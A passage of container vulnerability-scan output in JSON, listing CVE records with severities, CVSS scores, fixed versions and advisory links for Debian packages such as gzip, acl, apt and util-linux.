63dbf6b3b9e6e781df1a6a64e609b10e23969681 and e7378c2d421be6a286922374425680bbe9ad8b7d.", "Severity": "HIGH", "CweIDs": [ "CWE-126" ], "VendorSeverity": { "alma": 2, "azure": 2, "julia": 2, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 1, "rocky": 2, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "V3Score": 7.5, "V40Score": 6.9 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L", "V3Score": 3.6 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/08/23/1", "http://www.openwall.com/lists/oss-security/2026/08/25/1", "http://www.openwall.com/lists/oss-security/2026/08/27/2", "https://access.redhat.com/errata/RHSA-2026:61623", "https://access.redhat.com/security/cve/CVE-2026-41992", "https://bugzilla.redhat.com/2494158", "https://bugzilla.redhat.com/show_bug.cgi?id=2494158", "https://bugzilla.redhat.com/show_bug.cgi?id=2494159", "https://cert.pl/en/posts/2026/04/CVE-2026-41991", "https://cert.pl/en/posts/2026/04/CVE-2026-41991/", "https://cgit.git.savannah.gnu.org/cgit/gzip.git/commit/?id=63dbf6b3b9e6e781df1a6a64e609b10e23969681", "https://cgit.git.savannah.gnu.org/cgit/gzip.git/commit/?id=e7378c2d421be6a286922374425680bbe9ad8b7d", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-41991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-41992", "https://errata.almalinux.org/9/ALSA-2026-61623.html", "https://errata.rockylinux.org/RLSA-2026:61623", "https://github.com/advisories/GHSA-qxh4-rprf-2mmj", "https://linux.oracle.com/cve/CVE-2026-41992.html", "https://linux.oracle.com/errata/ELSA-2026-65998-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-41992", "https://ubuntu.com/security/notices/USN-8512-1", "https://ubuntu.com/security/notices/USN-8733-1", "https://ubuntu.com/security/notices/USN-8733-2", "https://www.cve.org/CVERecord?id=CVE-2026-41992", "https://www.gnu.org/software/gzip", "https://www.gnu.org/software/gzip/" ], "PublishedDate": "2026-06-29T12:16:29.94Z", "LastModifiedDate": "2026-10-25T21:10:00.77Z" }, { "VulnerabilityID": "CVE-2026-54369", "PkgID": "libacl1@2.3.2-2+b1", "PkgName": "libacl1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libacl1@2.3.2-2%2Bb1?arch=amd64\u0026distro=debian-13.6", "UID": "f9f7789d147b9636" }, "InstalledVersion": "2.3.2-2+b1", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-54369", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d48b3038cd270d31d7d144a4c3f24b24ca3e6809a6ecf098869b0394ee7fa078", "Title": "acl: Symlink traversal privilege escalation via libacl functions", "Description": "acl before version 2.4.0 contains a symlink traversal vulnerability in the libacl pathname-based functions acl_get_file(), acl_set_file(), acl_extended_file(), and acl_delete_def_file() that allows local attackers to escalate privileges by replacing any pathname component with a symbolic link. Attackers who control any component of a pathname processed by a privileged caller can redirect ACL read or write operations to arbitrary files or directories, enabling unauthorized manipulation of access control lists and local privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:34351", "https://access.redhat.com/errata/RHSA-2026:42736", "https://access.redhat.com/errata/RHSA-2026:42739", "https://access.redhat.com/errata/RHSA-2026:43420", "https://access.redhat.com/errata/RHSA-2026:44481", "https://access.redhat.com/errata/RHSA-2026:46836", "https://access.redhat.com/errata/RHSA-2026:50205", "https://access.redhat.com/errata/RHSA-2026:53371", "https://access.redhat.com/errata/RHSA-2026:54769", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:64805", "https://access.redhat.com/errata/RHSA-2026:67140", "https://access.redhat.com/errata/RHSA-2026:67142", "https://access.redhat.com/errata/RHSA-2026:67144", "https://access.redhat.com/security/cve/CVE-2026-54369", "https://bugzilla.redhat.com/2490277", "https://bugzilla.redhat.com/2490279", "https://bugzilla.redhat.com/show_bug.cgi?id=2490277", "https://bugzilla.redhat.com/show_bug.cgi?id=2490279", "https://cgit.git.savannah.nongnu.org/cgit/acl.git/commit/?id=24a227d0ab8576612194f8a56c2314389adc74a5", "https://cgit.git.savannah.nongnu.org/cgit/acl.git/commit/?id=3589787cd589b34bdd9265936e17190b6d3f17d1", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54369", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54370", "https://errata.almalinux.org/9/ALSA-2026-42736.html", "https://errata.rockylinux.org/RLSA-2026:42736", "https://linux.oracle.com/cve/CVE-2026-54369.html", "https://linux.oracle.com/errata/ELSA-2026-43420.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-54369", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54369.json", "https://www.cve.org/CVERecord?id=CVE-2026-54369", "https://www.vulncheck.com/advisories/acl-symlink-traversal-privilege-escalation-via-libacl-functions" ], "PublishedDate": "2026-06-29T14:16:57.487Z", "LastModifiedDate": "2026-10-25T21:10:00.77Z" }, { "VulnerabilityID": "CVE-2026-109518", "VendorIDs": [ "DSA-6607-1" ], "PkgID": "libapt-pkg7.0@3.0.3", "PkgName": "libapt-pkg7.0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libapt-pkg7.0@3.0.3?arch=amd64\u0026distro=debian-13.6", "UID": "3c9c23cb09a0c42a" }, "InstalledVersion": "3.0.3", "FixedVersion": "3.0.4", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-109518", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9e768824a8becc639610c7faaa0336513644a0c813b752cdaadae786fdbafeab", "Title": "apt: apt: Remote code execution via hard link reuse during package download retries", "Description": "On Debian, Ubuntu, and derivative Linux distributions, an on-path attacker who can manipulate the HTTP traffic (including a malicious mirror or proxy) between an APT client and an archive server triggered by a package install can trick the client into installing an attacker-controlled unverified package and achieve remote code execution with root privileges.\n\n\n\nThe vulnerability is caused by the reuse of hard links and requires the client to follow redirects and retry the download of package files. It requires the client to have a non-zero Acquire::Retries configuration setting; the value 3 is the default starting with Debian 12 (bookworm) and Ubuntu 22.04 LTS (Jammy Jellyfish), so older releases are unaffected in a default configuration", "Severity": "HIGH", "CweIDs": [ "CWE-62", "CWE-367" ], "VendorSeverity": { "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/11/04/12", "https://access.redhat.com/security/cve/CVE-2026-109518", "https://lists.debian.org/debian-lts-announce/2026/11/msg00004.html", "https://lists.debian.org/debian-security-announce/2026/msg00526.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-109518", "https://ubuntu.com/blog/apt-vulnerability-fixes-available", "https://ubuntu.com/security/notices/USN-8996-1", "https://www.cve.org/CVERecord?id=CVE-2026-109518" ], "PublishedDate": "2026-11-04T16:17:33.01Z", "LastModifiedDate": "2026-11-05T05:18:19.033Z" }, { "VulnerabilityID": "CVE-2026-53612", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libblkid1@2.41-5", "PkgName": "libblkid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libblkid1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "51bf0af8d40f4a01" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9c650c4ce62305ecd6654fd62524b30110167d7ef5141309854387c8e47240f6", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libblkid1@2.41-5", "PkgName": "libblkid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libblkid1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "51bf0af8d40f4a01" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ee8e164aa74b89a1e0b84eef35320c706cc3d9613a480758d7af1c0621b6e6d5", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libblkid1@2.41-5", "PkgName": "libblkid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libblkid1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "51bf0af8d40f4a01" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4f3cf69e302da7c01d1e5f445ea6eb9e9161ce9bc2f03b23099b7b54dbce01c7", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "libblkid1@2.41-5", "PkgName": "libblkid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libblkid1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "51bf0af8d40f4a01" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a5c37229e8bf96093506c53c311e94f10d597ac854222f357d6ccbe7572a157f", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "libblkid1@2.41-5", "PkgName": "libblkid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libblkid1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "51bf0af8d40f4a01" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:90f16a3d8684d17d959cfdfca832dd177e36f4e8ffe08668d08091f68774cfc8", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", 